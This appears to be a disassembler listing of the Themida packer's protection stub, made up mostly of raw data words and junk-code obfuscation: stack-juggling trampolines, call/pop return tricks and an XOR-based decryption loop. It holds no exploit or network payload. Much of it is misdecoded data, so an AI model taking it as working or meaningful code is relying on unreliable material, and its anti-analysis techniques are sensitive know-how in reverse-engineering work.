; ---------------------------------------------------------------------------
		db 2 dup(0), 0F2h
		dd 32h dup(0F2000076h)
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E0A87:				; CODE XREF: Themida_:005E09B4j
		jmp	short loc_5E0AE9
; ---------------------------------------------------------------------------
		align 4
		dd 17h dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5E0AE9:				; CODE XREF: Themida_:loc_5E0A87j
		jmp	loc_5E1673
; ---------------------------------------------------------------------------
		jmp	loc_5E166C
; ---------------------------------------------------------------------------
		push	7D6ACBEh
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D6ADE4h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D6AE50h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		db 4Eh,	50h, 0B0h
		dd 9E523623h, 8D632411h, 76741300h, 629EFCE9h, 31831AD5h
		dd 1D0A9751h, 0AF7847Ah, 0F5E26F89h, 2ACC5997h,	58EC813Eh
		dd 0F0D819FFh, 0A1BFA004h, 975FE297h, 66212A08h, 53B7A388h
		dd 0CF922132h, 82E5741Dh, 0E4A6F295h, 2589750Ch, 0FD9E3A2Fh
		dd 23871E03h, 0D7948E24h, 1228FB96h, 7100972Eh,	4F0CF8E4h
		dd 1228FC1Eh, 66230FA6h, 1228FC07h, 0AA9726BDh,	3D290EEAh
		dd 0FBD99451h, 54EB1228h, 0E7BBD8C5h, 0D1684DABh, 7C69553Ah
		dd 94F5E21Eh, 0BBDECB5Ah, 0F25694EFh, 69856629h, 0B7A33A7Eh
		dd 87452F53h, 4FDE81B9h, 0E31D7D6Ah, 227111FEh,	29440865h
		dd 4F02FD12h, 0FFAC14B2h, 472CC35Ah, 0D8BD3B5Ah, 1286FFECh
		dd 0FF967B75h, 0ABECD968h, 0C07D6955h, 1228F6ADh, 0CF18017h
		dd 9B87651Fh, 6D004537h, 88751A2Ch, 7108ED0Bh, 36FFDE2h
		dd 8335F2DEh, 4119FF8Ch, 0B7D1BEAAh, 681EAC39h,	0B4995733h
		dd 0DD9A861Dh, 19FF8C94h, 97E04430h, 9C05EF49h,	2CC0AD6Ah
		dd 180419FFh, 0FF2D125Bh, 841BB219h, 35E75D20h,	0B047125Ah
		dd 42BEDECBh, 0BB65C9B5h, 64551B9Ah, 219D7B0Ah,	22A78563h
		dd 0B1C585BEh, 0F6893FADh, 6C4EDE81h, 0EACF5EF5h, 0EA19800Ch
		dd 0A995810Ch, 0B46D00BDh, 0C0571228h, 28B46A03h, 34C35A12h
		dd 2A289756h, 37D53CCDh, 0F7000000h, 0CEA1980h,	0B5086522h
		dd 0CFBC1228h, 0B19D34B2h, 0B46508C5h, 50A01228h, 19952AFEh
		dd 8312A94Eh, 214422A5h, 9EAB8967h, 2BC5C5B2h, 4220AF46h
		dd 1696h, 1980B800h, 65220CEAh,	1228B508h, 222B09A0h, 89672144h
		dd 22C09EABh, 87445735h, 1228B4E6h, 0C3B047DEh,	0AD4429C7h
		dd 0FFE2901Eh, 0D3245613h, 9A019F9h, 0D3026724h, 2AD519F9h
		dd 53F5BAFBh, 68E8419Eh, 0A000001h, 0FFEB1680h,	28B53342h
		dd 0E8A59112h, 1228B485h, 2C11A83Fh, 4B4D413Fh,	0B3911EB5h
		dd 0A7856321h, 43573522h, 2C11A846h, 43210695h,	0FEEA1980h
		dd 91767011h, 1C510EFAh, 0A81228B5h, 81A48211h,	2A2897A3h
		dd 0D0BC3CCDh, 28B55A13h, 44D36A0Fh, 4371h, 36229300h
		dd 28B4F479h, 13361112h, 267A7D0Eh, 0CD5BEA81h,	225937D6h
		dd 28B50865h, 4725BC12h, 67214422h, 3622AB89h, 28B4F479h
		dd 0AA39D012h, 0BE225C3Ah, 85C6AC90h, 0E3A18E77h, 30FE7605h
		dd 20000000h, 0F6941980h, 228563FAh, 28B50865h,	0F7B4A012h
		dd 1228B476h, 0ECBB74Eh, 1228B45Fh, 4B37CE65h, 0E2C7395Eh
		dd 22DEBC4Bh, 89672144h, 80C09EABh, 12FFEB16h, 89672270h
		dd 0E7760DF2h, 0B53B3EFBh, 9D891228h, 28B48DE0h, 9A03712h
		dd 9B593724h, 6321300Eh, 0EFAC9985h, 0B46EFFBCh, 0BF561228h
		dd 1DAC4328h, 804B293Fh, 810CEA19h, 2A2897A3h, 21D53CCDh
		dd 0F7000000h, 0CEA1980h, 0B5086522h, 88751228h, 0B85DEC08h
		dd 44224321h, 0AB896721h, 3296C09Eh, 0B8000000h, 201D1980h
		dd 0F2088BA9h, 0A412760Dh, 0DAB84FC7h, 0B6D23622h, 0F78210B2h
		dd 0E7DC529h, 0D093AB59h, 0E5E98441h, 28BF1228h, 2144224Ah
		dd 9EAB8967h, 0B496C0h,	80B80000h, 42FFEB16h, 1228B533h
		dd 210EFA91h, 89F8462h,	0E9A79479h, 21A07E0Bh, 0B89B863h
		dd 0E133E5A1h, 4133335Bh, 972E4Bh, 804B2922h, 810CEA19h
		dd 2A2897A3h, 3AD53CCDh, 0F7000000h, 0CEA1980h,	0B5086522h
		dd 88751228h, 0E19F240Fh, 8BCC1677h, 29C065F4h,	0ABBE224Bh
		dd 0A7CB8B57h, 7F5D49D8h, 851DBE22h, 6714B239h,	53A9EBD8h
		dd 96C09E75h, 3Eh, 0EA1980B8h, 7936220Ch, 1228B4F4h, 0B4A1CC89h
		dd 8C231228h, 0D5C150E7h, 28B55518h, 0DEBC5312h, 67214422h
		dd 0B2975533h, 9EA6841Bh, 6409C6B2h, 601228B4h,	1CB0BAFCh
		dd 1FB6EF09h, 0BE22B290h, 9CF86E55h, 80E47B60h,	0C554EF4Fh
		dd 573CB8D8h, 42CF296Ah, 21633755h, 0B84FE6CBh,	0BB5516D3h
		dd 0C06B1228h, 0E9BADA51h, 28BB412Ch, 55EC8312h, 3FBDDBC8h
		dd 6D48EF53h, 3125C60h,	0E0B28F74h, 67DE4DF8h, 0B501FE29h
		dd 0C955D8B5h, 0AD44B8DCh, 3BB1D4C1h, 0E1911FACh, 0C4281400h
		dd 2D5B067Bh, 6C352D5h,	19F9D274h, 0CA206350h, 0D8914E33h
		dd 0A419F9D2h, 3B280DE3h, 0E9BFA45Ah, 1CAECF3Eh, 0AE018271h
		dd 2F419E53h, 42h, 54352251h, 8F1EB59Ah, 0F4B1E2A2h, 1228B479h
		dd 0BC8B44Bh, 1228B462h, 4F34CB62h, 0D9177663h,	11CE5DF4h
		dd 1228B55Ch, 0CF8C7864h, 1228B59Eh, 0B64B22DFh, 0E2791228h
		dd 6C17A63Dh, 0EA0686BDh, 0BE227F5Dh, 0FB3E0418h, 2C19A8FBh
		dd 0B7A4906Ch, 0A1381DDBh, 55412D12h, 28C5D598h, 6B58EF12h
		dd 0B745D42Ah, 0E0B2D0CBh, 0C3AF46A2h, 28C56706h, 2FC65D12h
		dd 6A868643h, 0BF719FFh, 0FF6B1F4Eh, 0DCB8A519h, 0FB258920h
		dd 115EDBA9h, 38CF7403h, 0C2205F4Ch, 6A18A633h,	9CDE9B87h
		dd 0E121D0CDh, 0CE3538F5h, 8B4821D0h, 21D0CDE2h, 0BAA64BE2h
		dd 0D0CD70FDh, 26BD5421h, 765BF297h, 1FF9D8Ah, 0CDB4B572h
		dd 0CCC821D0h, 3B5E4B30h, 94F3E0C5h, 26D58056h,	1908B345h
		dd 9A563623h, 4F1B940Bh, 1CC24975h, 0E4000000h,	0FFEB1680h
		dd 28B53B42h, 6F28912h,	0F5827C19h, 3A7Dh, 0E0A49100h
		dd 229F7D0Ch, 0B4F47936h, 39D01228h, 0B4DD904Dh, 50E71228h
		dd 484333C1h, 2FC6AB49h, 8AEFAC98h, 0F31228B4h,	73168406h
		dd 6A01987Dh, 0BA5FEE85h, 4D4A3723h, 964826B3h,	151h, 0E91880B8h
		dd 224B290Bh, 0B4F47936h, 0B881228h, 22B148EDh,	0BB995735h
		dd 2897A381h, 0D53CCD2Ah, 32h, 6399FCE9h, 1880F6D4h, 65220BE9h
		dd 1228B508h, 224725BCh, 0CDCD5435h, 122E09C8h,	614DDC73h
		dd 8A642183h, 22C09EACh, 0F9E5035h, 3B97h, 3622B900h, 28B4F479h
		dd 0D539D012h, 0CA9A3C3Ah, 54E2714Fh, 0CD2B672Ch, 9C633069h
		dd 43DA0525h, 8652265h,	0A01228B5h, 241B853Ch, 0D8268A66h
		dd 16F48B8Ch, 64214422h, 0C09EAC8Ah, 0C585BE22h, 59E7B0B1h
		dd 0EFD4286Ch, 0BCDCC958h, 4B296240h, 0D8951980h, 1228B495h
		dd 1501982Fh, 26A30EB1h, 0A8950ECEh, 8F260BE9h,	95812200h
		dd 0D9B7EBA8h, 0B39F841Bh, 28B477F6h, 1FB64D12h, 2897B290h
		dd 0D53CCD2Ah, 35h, 0EA1980F7h,	865220Ch, 751228B5h, 2EF0D88h
		dd 0E9806583h, 401EB55Ah, 48493622h, 21411FAEh,	96543367h
		dd 0C09E21FFh, 2E96h, 0DABDAA00h, 19A83F24h, 0EA19803Bh
		dd 865220Ch, 0A01228B5h, 44222B09h, 0AB896721h,	0F4793622h
		dd 111228B4h, 5C8E5BB6h, 0BA24794h, 222E0C7Ch, 851A51BEh
		dd 57E686BDh, 0EACF296Ah, 29B13D2Dh, 54C36E12h,	0B542BCDDh
		dd 866021D7h, 0CC9B5A1h, 1228B461h, 503DCC63h, 44D0B533h
		dd 0D6B36A99h, 413F2C18h, 9827BEA3h, 0BF5C4E0Bh, 62201228h
		dd 730AA186h, 0CD3CB4FCh, 0FE7B2B39h, 224DFFFFh, 0B4F47936h
		dd 0E4D01228h, 28B54627h, 50E77E12h, 0B46504C1h, 0A2471228h
		dd 0A1228B5h, 1228B562h, 0FB722F1Bh, 0C91228B5h, 83E6A332h
		dd 291228B5h, 1228B640h, 28B5FD6Ch, 4DACDED2h, 0D9D9A461h
		dd 87EBD9FCh, 0E0A573A6h, 2E92290Eh, 871EB245h,	0B66614A2h
		dd 4FD653F0h, 715DF42Ch, 0CEB32EB4h, 0EDAA96E1h, 0E1CEB280h
		dd 0FC0BD885h, 771CCC67h, 0FFAC2713h, 59F064ABh, 603144F5h
		dd 0A83F5A18h, 0BE328DF4h, 0B62E133Eh, 2B9h, 38C53B63h
		dd 26B3494Bh, 15A25C39h, 0FE8B6928h, 0EA777111h, 44466E2Fh
		dd 57321FACh, 621F0C99h, 8A0AF784h, 533FE16Eh, 0FF60D796h
		dd 2705ED19h, 44543522h, 3015AC40h, 7F1D0A99h, 9C0E9C81h
		dd 34D4917Dh, 9019FF59h, 0BAAF6CF9h, 2119FF58h,	0E7A49071h
		dd 21D5FCCDh, 877460F7h, 12FFEB09h, 5BE87771h, 0EDD22E6Eh
		dd 0D5FD4130h, 344F3C21h, 0FCC9A461h, 64FB21D5h, 0C2B03ECDh
		dd 9A76331Fh, 2A29ACA1h, 0DABAA793h, 0E4A4911Eh, 0A177F6B3h
		dd 0B64D29ACh, 5B8A0352h, 17AE38F1h, 0A35D3E2Bh, 7E3B27BEh
		dd 29AC88EFh, 0CAAF3ED5h, 3835F2DEh, 8C29AC89h,	0AAD866F5h
		dd 6E9E5B47h, 5631832Dh, 0BC792869h, 31832DB1h,	4EE57C13h
		dd 0F4AFDB69h, 0DD745997h, 816E5A46h, 9E5BEA04h, 3959D21Ah
		dd 3A2713AAh, 24119E5Ah, 0B7A38864h, 492ECACAh,	36623B2h
		dd 7A3959ECh, 96D04716h, 359AFEF2h, 0D15FEE07h,	975440A1h
		dd 4130D671h, 49D7BC53h, 0FCCB859h, 4901FBE7h, 0DD9246DDh
		dd 0FFC7C20Eh, 193A21Ah, 413D0000h, 6325129Fh, 7213008Dh
		dd 8302EF7Ch, 0AFEBD865h, 9409C451h, 0F9866220h, 0E673890Ch
		dd 0D15E98F9h, 0BB48A4E4h, 0FD702D19h, 0C719FF61h, 362201DFh
		dd 0CDB24C49h, 0B4F47936h, 39D01228h, 8B6E1CAAh, 5926E29Fh
		dd 79E19FFh, 0ADE69422h, 952C11EFh, 280DEBA8h, 510EFA91h
		dd 21D08021h, 1D580CA3h, 43FEBC82h, 127E65Eh, 0ADD10000h
		dd 0DFB9A633h, 0EEA79421h, 0F7968310h, 37F6CF9h, 9D58E5h
		dd 8512EEACh, 72FFFD98h, 5DEA0485h, 47D41070h, 71FCB9A5h
		dd 5319FF62h, 12808D6Bh, 18FDFB99h, 12FEEA81h, 0FF8E6025h
		dd 0FF59CE42h, 735FF619h, 8AA4B20Fh, 7C0B9690h,	5BBFAB97h
		dd 134B15Ch, 3C31EE77h,	0C919FF43h, 0DDBDCE91h,	3521C6F6h
		dd 0FEC0F578h, 0A138CF19h, 89672512h, 1E710FFCh, 0FEC10C61h
		dd 0F054B819h, 6409D21Ah, 0EFAE9B32h, 0FE952C11h, 44402D19h
		dd 9D2CC3A8h, 927E630Fh, 0D602DFD5h, 0C14EE521h, 2B85E9D5h
		dd 5DFBAB80h, 6B82EBA8h, 0AB4221D6h, 41552F1Ch,	0D6975447h
		dd 0EE21D66Bh, 44DBC057h, 523320ADh, 0BF230F9Ch, 45D2AEFAh
		dd 725FEE06h, 5B48D513h, 4734C13Fh, 0BB39574Bh,	0EFAA9724h
		dd 0FA978411h, 9083EAA7h, 0AA4121D6h, 0FB998613h, 290EECA7h
		dd 816EFB92h, 6F5BE806h, 90A7C683h, 861D21D6h, 0D83969F7h
		dd 35852FECh, 0A83F29ADh, 0E4B6D6C3h, 0CD6449A7h, 0A31A936h
		dd 53000000h, 0ACE9D6C2h, 47D66D52h, 837D2169h,	15D3B19Eh
		dd 0A8464330h, 3DB3D6C3h, 0D12F6B58h, 6583FFECh, 0F6F49380h
		dd 8D632411h, 23D9BBA8h
		db 3Eh,	6Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		push	2516h
		mov	[esp], esi
		push	7E30h
		mov	[esp], edi
		mov	edi, 4B6B33BFh
		mov	edx, 5341D892h
		sub	edx, edi
		pop	edi
		push	4FCDh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	edx
		push	ecx
		mov	ecx, 4AF962B5h
		sub	[esp+4], ecx
		pop	ecx
		pop	dword ptr [esi+8]
		add	dword ptr [esi+8], 4AF962B5h
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		dw 4E8Dh
		dd 7CAFE59Fh, 0C0EE229Bh
; ---------------------------------------------------------------------------


loc_5E166C:				; CODE XREF: Themida_:005E0AEEj
		mov	eax, 7D6AF9Ch
		add	eax, ebp


loc_5E1673:				; CODE XREF: Themida_:loc_5E0AE9j
		mov	eax, ebx
		jmp	loc_5E1683
; ---------------------------------------------------------------------------
		dw 15BBh
		dd 174Eh
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5E1683:				; CODE XREF: Themida_:005E1675j
		jmp	loc_5E1C1E
; ---------------------------------------------------------------------------
		dd 0AC39A7D7h, 9A27C5BFh, 8916E8ADh, 72FFFD9Ch,	5EEB0585h
		dd 0D0B2FAA3h, 0FB9E8B18h, 0E8B7805h, 167663F0h, 0BFAB4DDAh
		dd 0FF646B02h, 93715919h, 0A0856321h, 8C19D7B3h, 0EBADE19Fh
		dd 0AC997E15h, 3E2B10ECh, 55C1A65Ah, 61C57BAAh,	0D4D0C1F4h
		dd 0FFEC7B28h, 8A776381h, 0D461F008h, 604CAAE7h, 0C85E1074h
		dd 5705A038h, 2914D39Ah, 0CB5AF112h, 0B630513Eh, 0F5A1E4D1h
		dd 0DDC25997h, 385B4834h, 0C179DDC2h, 2578ED44h, 58039229h
		dd 0D71172A9h, 17715E4Ah, 3F5D4AD9h, 3F0DCC1h, 76741387h
		dd 0D79350DFh, 0EE122923h, 715ED443h, 0A7C68316h, 1D122923h
		dd 730AEF86h, 0A5426DE4h, 0A29B39CDh, 0BD000000h, 0A0856321h
		dd 3E50B4h, 1377750Fh, 49D8612Bh, 2958DF8Ch, 0EFAE612h
		dd 29591C51h, 8211A812h, 5F228D7h, 64DB6A84h, 39CDDA4Bh
		dd 0A92h, 6042A600h, 0D61D5E80h, 21D9B746h, 0B7A48967h
		dd 46331FDDh, 3A8EDE45h, 351B6EE8h, 9322B99Eh, 0FF5EC2AEh
		dd 0AF4D74Ah, 1480A2DCh, 4EE5CF3Eh, 36C52361h, 0C7AC4A49h
		dd 593EBADAh, 0F0D52B6Ch, 0BB264704h, 79E1228h,	83E413BEh
		dd 86BD6C17h, 1502EE02h, 8A662474h, 8B770EF3h, 28BA9FCEh
		dd 0FF8E2512h, 1C078572h, 0F5F81A1Eh, 8613AA46h, 876121A8h
		dd 0CAC9B6A2h, 0D4B09D2Ch, 0FCA73318h, 7C74160Dh, 0CE2A390h
		dd 8503F07Dh, 0AAF8CC9Ah, 61F8A623h, 0A1CC8975h, 23122982h
		dd 2B18FD8Ch, 0C2AF946Ah, 59462BC5h, 92DBC03Eh,	820138E7h
		dd 51E87F64h, 0A4E514BFh, 39CE021Bh, 0A0E2h, 61210400h
		dd 0B4995731h, 8782B91Dh, 6B4CB0AAh, 1703EFD4h,	293C135Ah
		dd 0D22C6912h, 1A07962Dh, 329E837Dh, 0E1A19887h, 0A18E7A07h
		dd 342005E3h, 293BF677h, 0A037CE12h, 8A662411h,	1BD9B8A5h
		dd 0E786432Fh, 0DD12293Bh, 0E5D2B746h, 3538F5A4h, 8F12293Ch
		dd 8F7C61F8h, 3D13F8F6h, 70026392h, 6A5556C5h, 9339CDBBh
		dd 65h,	22DEBAA7h, 3917A63Dh, 57316121h, 301D0299h, 0C3B09553h
		dd 59462BC1h, 70DCC13Fh, 0A1DF56C5h, 30C75E43h,	0AD97FBE7h
		dd 0BD6E85B6h, 0AF9A433h, 0EC797713h, 8967210Eh, 0B483E7A4h
		dd 56421228h, 0B4C0AD6Ah, 6D041228h, 0C3C433DEh, 39CD35ECh
		dd 10F1h, 7D180500h, 0A9006D2Ah, 2DC41228h, 8B1AB196h
		dd 533522ADh, 13AA4847h, 1B08972Eh, 97692E7Ah, 2DC3C5B2h
		dd 831AB148h, 15D3B19Eh, 2DDC8730h, 735F91F6h, 5EA0686h
		dd 0C452DF6Eh, 8A4733D6h, 19F9CA24h, 372409A0h,	0A8464559h
		dd 0F9978411h, 3D2A16FBh, 0D2BFA45Ah, 15A43BB5h, 0F9CA1358h
		dd 0B3620D19h, 0F8A1C7Ch, 0E0CD5AF1h, 735F44A0h, 0BC15E40Fh
		dd 60C4CCDFh, 31901036h, 5A47D66Ah, 6ED2BE3Ah, 0D8A9AB2Dh
		dd 8A1D8126h, 7B106ACBh, 4BD7BC4Bh, 0E8A9FB5Fh,	0E9B8B009h
		dd 872D40FDh, 9719FAh, 0E057C671h, 51AFEEA0h, 0F9B62DBAh
		dd 0CB419F07h, 7B4B22DFh, 0E27919FAh, 7B3439F6h, 0F99019FAh
		dd 129976Ah, 80B90000h,	1703EF12h, 0FF8E6A2Ah, 0F9C8AC42h
		dd 0E6DD119h, 79458633h, 0CA24614Eh, 0EDAA963Bh, 19FA4880h
		dd 3116AD44h, 37524444h, 0E5CA2063h, 9320B74Eh,	250AE6A6h
		dd 0B79C5838h, 492ECACAh, 0B3703B5Ch, 19FA48BAh, 0F7DC730Ah
		dd 1374A34Eh, 0F62DDC87h, 0E1CD5A96h, 108A95F4h, 0BA1DBE58h
		dd 69E06F06h, 419E8E46h, 4497h,	1580B900h, 84502EEh, 0BC9228B5h
		dd 5035B3CFh, 513D22B9h, 0E3C82464h, 0C65D93F6h, 0B4F37A37h
		dd 0F5A09228h, 0DC3B6E06h, 0B51A33F0h, 13AA1228h, 890E86h
		dd 35220000h, 5CE2D053h, 5637A9BCh, 0B443DABFh,	573522D6h
		dd 11EFAC99h, 7806952Ch, 0FFBE70Ah, 0A4896722h,	0B9C17E0Dh
		dd 0B19F9E6h, 0E2A28F74h, 0C8C7906h, 1A4E0BF0h,	619F9E8h
		dd 1775AC5Bh, 74604CD9h, 0F9E7B6B7h, 0E8770E19h, 0DDC9285Ah
		dd 0D0988520h, 0C3A83F21h, 553AB6D6h, 1C1201ACh, 493512Fh
		dd 0F9E50476h, 991D500Dh, 10A721D0h, 45A99581h,	84444100h
		dd 0B1278BD0h, 49749974h, 0C4E19E2Dh, 29A6CFh, 80FEDC69h
		dd 4603EF12h, 19FF655Fh, 7EE2CE65h, 0DB093CADh,	4C31C020h
		dd 36C3215Fh, 0C8AD4B49h, 9836380Bh, 75D9C52Ah,	45CE2AF6h
		dd 24CF5E27h, 0A25E3EF5h, 0D1A752B6h, 916B0CFFh, 8887502h
		dd 7B1A07ECh, 3EF987Dh,	97C4BF9Fh, 836F38CAh, 9809A7C6h
		dd 0F7861D2Ah, 2666DD4Ch, 41D81474h, 0D6C9C7B4h, 980A5419h
		dd 0ECD9702Ah, 0D97055ABh, 3E55D42h, 7000000h, 7D21E4C2h
		dd 0D3B19E83h, 46433015h, 0B3D6C3A8h, 2F6B583Dh, 83FFECD1h
		dd 0F4938065h, 632411F6h, 0D9BBA88Dh, 516F3E23h, 0C181E189h
		dd 4, 8704E983h, 248B240Ch, 40D86824h, 14890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	71A307F5h
		pop	edx
		and	edx, 7BC82EFBh
		xor	edx, 7656B6BBh
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 8
		add	eax, ebx
		push	edx
		add	dword ptr [esp], 34163D45h
		pop	dword ptr [eax]
		sub	dword ptr [eax], 34163D45h
		pop	eax
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		db 1Dh
		dd 27742650h, 80FCED39h, 9C38CD71h
		db 0C6h, 1Ah
; ---------------------------------------------------------------------------


loc_5E1C1E:				; CODE XREF: Themida_:loc_5E1683j
		mov	eax, 7D6B54Dh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0A8h
		db 0CCh
		db 0C5h, 28h, 0B4h
		dd 697AC985h, 0DE7FE3BCh, 1B3AB00Ah, 261B1808h,	1D6CA58Ch
		dd 43001CF6h, 4F159E33h, 41389E6Dh, 1044AC87h, 133D344Ch
		dd 0BD7EC67Ah, 6C3DA52Fh, 88149B3Ch, 0C26BF975h, 0CF327813h
		dd 242480F0h, 39365662h, 3C61271Ch, 9A49CF78h, 1B7C45F7h
		dd 227B9BDCh, 6E623888h, 1221A331h, 0A9643FD1h,	557C4D86h
		dd 0C240B8C1h, 0DA6F18DAh, 0F87D4FE5h, 8D6E8A7Fh, 0D6B76E8Dh
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 0AE01AC6Bh, 54FA3A4Eh, 347D9D89h, 89F807D1h
		dd 0D11B518Dh, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 73EDA6DDh, 0E2CC798Dh
		dd 30819D8Bh, 85C707D1h, 7D12D55h, 5AC8h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 18h, 78C35242h, 5A40A16h
		dd 66D78B66h, 85C7F08Bh, 7D11D39h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5E1D43
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E1D43	proc near		; CODE XREF: Themida_:005E1D3Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5E1D43	endp

; ---------------------------------------------------------------------------
		sbb	ebp, esi
		pop	ds
		jz	short near ptr loc_5E1D84+2
		adc	al, 0C1h
		push	edi
		pusha
		mov	dx, 3A9Ah
		mov	ecx, [ebp+7D12441h]
		popa
		pop	eax
		sub	[ebp+7D114A5h],	edx
		push	dword ptr [ebp+7D12445h]
		push	0
		push	edi
		call	sub_5E1D7F
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E1D7F	proc near		; CODE XREF: Themida_:005E1D77p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi


loc_5E1D84:				; CODE XREF: Themida_:005E1D56j
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5E1D7F	endp

; ---------------------------------------------------------------------------
		adc	dh, [eax+661B501h]
		rol	dword ptr [edi], 1
		adc	dh, 5Eh
		call	dword ptr [ebp+7D11801h]
		mov	edi, 71FD3FDFh
		push	0
		call	dword ptr [ebp+7D10055h]
		mov	eax, eax
		jmp	short loc_5E1DDE
; ---------------------------------------------------------------------------
		db 3Dh,	0AEh, 0B2h
		dd 66DA2ABh, 0C3F032F3h, 0F255D9A1h, 7777C908h,	0DBDA37E5h
		dd 0E3516A38h, 0E8FB4F9Dh, 0AFB3802Eh, 7247A3DAh, 9B990663h
		db 69h,	0EBh
; ---------------------------------------------------------------------------


loc_5E1DDE:				; CODE XREF: Themida_:005E1DAFj
		call	sub_5E1DF2
		wait
		pusha
		push	69h
		cmp	edx, fs:[ecx]
		sbb	edx, edx
		xor	[esi+79h], dl
		pop	es
		xchg	eax, ebx
		cwde

; =============== S U B	R O U T	I N E =======================================



sub_5E1DF2	proc near		; CODE XREF: Themida_:loc_5E1DDEp

arg_0		= dword	ptr  4

		mov	esi, ecx
		pop	ecx
		mov	[ebp+7D11031h],	edx
		add	ecx, 6345h
		mov	edi, [ebp+7D10FADh]
		xor	edx, edx


loc_5E1E09:				; CODE XREF: sub_5E1DF2:loc_5E1E92j
		push	dword ptr [edx+ecx]
		or	[ebp+7D12811h],	eax
		pop	eax
		mov	esi, 71FCCCFBh
		xor	eax, 5123DAC6h
		pusha
		pusha
		mov	al, 9Ch
		mov	bx, 616Fh
		popa
		mov	di, 2292h
		popa
		add	eax, 48AA1ED5h
		mov	ebx, 404C8397h
		xor	eax, 5CED029Ah
		mov	ebx, 228C744Ch
		mov	[ecx+edx], eax
		mov	[ebp+7D12F01h],	ebx
		and	bl, 87h
		sub	edx, 4A8895CEh
		add	edx, 4A8895CAh
		mov	di, si
		cmp	edx, 0FFFF9D74h
		jnz	loc_5E1E81
		mov	ebx, [ebp+7D12DDDh]
		jmp	loc_5E1EA0
; ---------------------------------------------------------------------------
		dd 0A8E040D6h, 2856D165h, 90837839h
		db 0B4h
; ---------------------------------------------------------------------------


loc_5E1E81:				; CODE XREF: sub_5E1DF2+71j
		jnz	loc_5E1E92
		js	loc_5E1E92
		mov	ebx, 40F43ABCh


loc_5E1E92:				; CODE XREF: sub_5E1DF2:loc_5E1E81j
					; sub_5E1DF2+95j
		jmp	loc_5E1E09
; ---------------------------------------------------------------------------
		db 0D8h
		dd 3103A6DBh, 0C19AA266h
; ---------------------------------------------------------------------------


loc_5E1EA0:				; CODE XREF: sub_5E1DF2+7Dj
		jmp	loc_5E1FC1
; ---------------------------------------------------------------------------
		jmp	loc_5E1EB0
; ---------------------------------------------------------------------------
		dw 397Dh
		dd 121E85BBh
; ---------------------------------------------------------------------------


loc_5E1EB0:				; CODE XREF: sub_5E1DF2+B3j
		lea	esi, [ebp+7D6B8B0h]
		clc
		lea	eax, [ebp+7D47D21h]
		jmp	loc_5E1ED2
; ---------------------------------------------------------------------------
		dw 0E85h
		dd 87439508h, 921B2A3Bh, 4608C923h
		db 0CFh, 0D8h
; ---------------------------------------------------------------------------


loc_5E1ED2:				; CODE XREF: sub_5E1DF2+CBj
		call	eax
		cmc
		cld
		retn
; ---------------------------------------------------------------------------
		stc
		jmp	loc_5E1EEE
; ---------------------------------------------------------------------------
		db 76h,	0A9h, 91h
; ---------------------------------------------------------------------------
		leave
		fidivr	word ptr [ebx-25h]
		cmp	ebx, [esi]
		enter	0FFFFFC4Fh, 6Ah
		lodsd
		xchg	eax, edi
		scasd
		pop	esi


loc_5E1EEE:				; CODE XREF: sub_5E1DF2+E6j
		mov	cx, ds
		push	0
		push	ecx
		call	loc_5E1EFC
		and	[ecx-3Dh], bl


loc_5E1EFC:				; CODE XREF: sub_5E1DF2+102p
		pop	ecx
		mov	[esp+4], ecx
		add	dword ptr [esp+4], 1Bh
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		dd 0F2626671h, 0A766DC3Fh, 0F04C1F6h, 3F84h, 1840F00h
		dd 0F5000000h, 0CB8BFB8Bh, 75AEC032h, 0F7CF2BFDh, 8BF92BD9h
		dd 0D98B49D7h, 20CD00EBh, 1013Fh, 1874C00Bh, 8B0C708Dh
		dd 0A6CB8BFAh, 75490A75h, 1B8FAh, 9EB0000h, 0E4EB008Bh
		dd 0B8h, 6ACF00h, 3E856h, 5E200000h, 74895EC3h,	44810424h
		dd 1B0424h, 56460000h, 0BD91B5C3h, 674C1612h, 18E0F66h
		dd 0F9000000h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	0E4C35545h, 60AE18CBh, 810F5E52h, 0Ch, 7E9h, 0A1622F00h
		dd 6287048Ah
; ---------------------------------------------------------------------------
		popa


loc_5E1FC1:				; CODE XREF: sub_5E1DF2:loc_5E1EA0j
